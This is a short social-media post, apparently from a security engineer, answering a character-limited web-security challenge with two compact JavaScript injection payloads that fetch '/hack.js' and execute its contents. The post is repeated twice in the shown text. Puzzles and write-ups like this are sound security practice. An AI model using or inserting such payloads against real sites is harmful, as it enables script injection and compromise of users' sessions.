trein
@reindaelman.bsky.social
Application Security Engineer at @intigriti | OSWE | BSCP | https://hackerone.com/trein
Fun challenge! The following would work in a script of type module (N/A here, but still interesting - 40 char):
run(await(await fetch`/hack.js`).text())
As we have a regular script tag, the payload needs to be inside an async function (53 char):
(async()=>run(await(await fetch`/hack.js`).text()))()
run(await(await fetch`/hack.js`).text())
As we have a regular script tag, the payload needs to be inside an async function (53 char):
(async()=>run(await(await fetch`/hack.js`).text()))()
December 12, 2024 at 10:23 PM
Fun challenge! The following would work in a script of type module (N/A here, but still interesting - 40 char):
run(await(await fetch`/hack.js`).text())
As we have a regular script tag, the payload needs to be inside an async function (53 char):
(async()=>run(await(await fetch`/hack.js`).text()))()
run(await(await fetch`/hack.js`).text())
As we have a regular script tag, the payload needs to be inside an async function (53 char):
(async()=>run(await(await fetch`/hack.js`).text()))()